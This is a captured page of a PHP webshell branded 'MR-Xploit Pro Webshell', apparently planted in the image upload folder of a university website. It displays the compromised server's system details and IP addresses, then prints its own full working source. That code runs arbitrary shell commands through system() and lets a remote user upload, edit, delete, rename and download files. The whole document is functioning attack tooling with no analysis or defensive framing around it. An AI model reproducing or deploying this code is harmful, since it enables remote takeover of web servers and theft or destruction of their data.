MR-Xploit Pro Webshell
Current Directory: /home/mueduu/public_html/upload/posts/images
Uname : Linux umit2.server.ly 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
PHP Version : 7.4.33
Server IP : 102.213.181.173
Client IP : 216.73.216.140
User : mueduu
Reading File: post-pic-misurata-university-2.php
<?php
// Function to get the base path dynamically
function getBasePath() {
return __DIR__; // Returns the full path of the directory containing this file
}
$baseDir = getBasePath();
// فك تشفير المسار عند استقبال المعلمة 'dir'
$currentDir = isset($_GET['dir']) ? realpath($baseDir . '/' . base64_decode($_GET['dir'])) : $baseDir;
// Ensure the current directory is within the base directory
if (strpos($currentDir, $baseDir) !== 0) $currentDir = $baseDir;
// Handle file creation
if (isset($_POST['new_file'])) {
$newFilePath = $currentDir . '/' . basename($_POST['new_file']);
if (!file_exists($newFilePath)) {
file_put_contents($newFilePath, '');
}
}
// Handle file editing
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
$fileToEdit = $currentDir . '/' . basename($_POST['edit_file']);
file_put_contents($fileToEdit, $_POST['file_content']);
}
// Handle file deletion
if (isset($_GET['delete'])) {
$fileToDelete = $currentDir . '/' . basename($_GET['delete']);
if (file_exists($fileToDelete)) {
unlink($fileToDelete);
}
}
// Handle file upload
if (isset($_FILES['upload_file'])) {
$uploadFilePath = $currentDir . '/' . basename($_FILES['upload_file']['name']);
move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadFilePath);
}
// Handle file download
if (isset($_GET['download'])) {
$fileToDownload = $currentDir . '/' . basename($_GET['download']);
if (file_exists($fileToDownload)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fileToDownload) . '"');
header('Content-Length: ' . filesize($fileToDownload));
readfile($fileToDownload);
exit;
}
}
// Handle reading a file
$fileContent = null;
if (isset($_GET['read'])) {
$fileToRead = $currentDir . '/' . basename($_GET['read']);
if (file_exists($fileToRead) && is_file($fileToRead)) {
$fileContent = htmlspecialchars(file_get_contents($fileToRead));
}
}
// Handle renaming a file
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
$oldFilePath = $currentDir . '/' . basename($_POST['rename_file']);
$newFilePath = $currentDir . '/' . basename($_POST['new_name']);
if (file_exists($oldFilePath) && !file_exists($newFilePath)) {
rename($oldFilePath, $newFilePath);
}
}
// List files and directories
$items = scandir($currentDir);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MR-Xploit</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #121212;
color: #e0e0e0;
max-width: 800px;
margin: 30px auto;
padding: 20px;
border: 1px solid #333;
border-radius: 8px;
background-color: #1e1e1e;
}
h2 {
text-align: center;
color: #ffffff;
}
form {
margin-bottom: 20px;
}
input[type="text"], input[type="file"] {
padding: 8px;
width: calc(100% - 100px);
margin-right: 10px;
border: 1px solid #444;
border-radius: 4px;
background-color: #2c2c2c;
color: #e0e0e0;
}
button {
padding: 8px 16px;
background-color: #6200ea;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #3700b3;
}
ul {
list-style: none;
padding: 0;
}
li {
margin: 5px 0;
padding: 5px;
border-bottom: 1px solid #333;
}
a {
color: #bb86fc;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
.file-actions {
float: right;
}
pre {
background-color: #2c2c2c;
padding: 10px;
border-radius: 4px;
overflow-x: auto;
}
</style>
</head>
<body>
<?php
echo "<center><h2 style='text-shadow: rgb(153, 153, 153) 0px 0px 3.29999995231628px;'> MR-Xploit Pro Webshell </h2></center>";
?>
<h5>Current Directory: <?php echo htmlspecialchars($currentDir); ?></h5>
<?php
echo "<p><h5>Uname : ".php_uname()."</h5></p>";
echo "<p><h5>PHP Version : ".phpversion()."</h5></p>";
echo "<p><h5>Server IP : ".$_SERVER['SERVER_ADDR']."</h5></p>";
echo "<p><h5>Client IP : ".getenv('REMOTE_ADDR')."</h5></p>";
echo "<p><h5>User : ".get_current_user()."</h5></p>";
?>
<!-- Navigation links -->
<nav>
<a href="?dir=../<?php echo $currentDir ?>">Go to Base Directory </a> |
<a href="?dir=<?php echo base64_encode('../'); ?>">Go to Parent Directory</a>
</nav>
<form method="post" >
<input type="text" name="cmd" placeholder=" ls , pwd, whoami ">
<button type="submit" name="cmd_submit">Command</button>
</form>
<?php
if (isset($_POST['cmd'])) {
$cmd_en = base64_encode($_POST['cmd']);
//echo '<textarea rows="10" cols="100">';
system(base64_decode($cmd_en));
//echo "</textarea><br/>";
echo "<br/><br/>";
}
?>
<form method="post">
<input type="text" name="new_file" placeholder="New file name">
<button type="submit">Create File</button>
</form>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload_file">
<button type="submit">Upload File</button>
</form>
<ul>
<?php foreach ($items as $item): ?>
<?php if ($item === '.' || $item === '..') continue; ?>
<li>
<?php
$itemPath = realpath($currentDir . '/' . $item);
$itemUrl = '?dir=' . urlencode(substr($itemPath, strlen($baseDir) + 1));
?>
<?php if (is_dir($itemPath)): ?>
<a href="<?php echo $itemUrl; ?>"><?php echo htmlspecialchars($item); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item); ?>
<span class="file-actions">
<a href="?dir=<?php echo urlencode(substr($currentDir, strlen($baseDir) + 1)); ?>&delete=<?php echo urlencode($item); ?>">Delete</a> |
<a href="?dir=<?php echo urlencode(substr($currentDir, strlen($baseDir) + 1)); ?>&download=<?php echo urlencode($item); ?>">Download</a> |
<a href="?dir=<?php echo urlencode(substr($currentDir, strlen($baseDir) + 1)); ?>&read=<?php echo urlencode($item); ?>">Read</a> |
<a href="?dir=<?php echo urlencode(substr($currentDir, strlen($baseDir) + 1)); ?>&edit=<?php echo urlencode($item); ?>">Edit</a> |
<a href="?dir=<?php echo urlencode(substr($currentDir, strlen($baseDir) + 1)); ?>&rename=<?php echo urlencode($item); ?>">Rename</a>
<?php
if ($_GET['rename'] == $item){
?>
<form method="post" style="display:inline;">
<input type="hidden" name="rename_file" value="<?php echo htmlspecialchars($item); ?>">
<input type="text" name="new_name" placeholder="New name" style="width: 98px;height: 8px;">
<button type="submit">Rename</button>
</form>
<?php
}
?>
</span>
<?php endif; ?>
</li>
<?php endforeach; ?>
</ul>
<?php if ($fileContent !== null): ?>
<h3>Reading File: <?php echo htmlspecialchars($_GET['read']); ?></h3>
<pre><?php echo $fileContent; ?></pre>
<?php endif; ?>
<?php if (isset($_GET['edit'])): ?>
<?php $fileToEdit = $currentDir . '/' . basename($_GET['edit']); ?>
<?php if (file_exists($fileToEdit) && is_file($fileToEdit)): ?>
<h3>Editing File: <?php echo htmlspecialchars($_GET['edit']); ?></h3>
<form method="post">
<textarea name="file_content" rows="10" cols="100"><?php echo htmlspecialchars(file_get_contents($fileToEdit)); ?></textarea>
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<button type="submit">Save Changes</button>
</form>
<?php endif; ?>
<?php endif; ?>
<?php
echo "<center><h4 style='text-shadow: rgb(153, 153, 153) 0px 0px 3.29999995231628px;'>Coded By @th3darkly</h4></center>";
?>
</body>
</html>
Coded By @th3darkly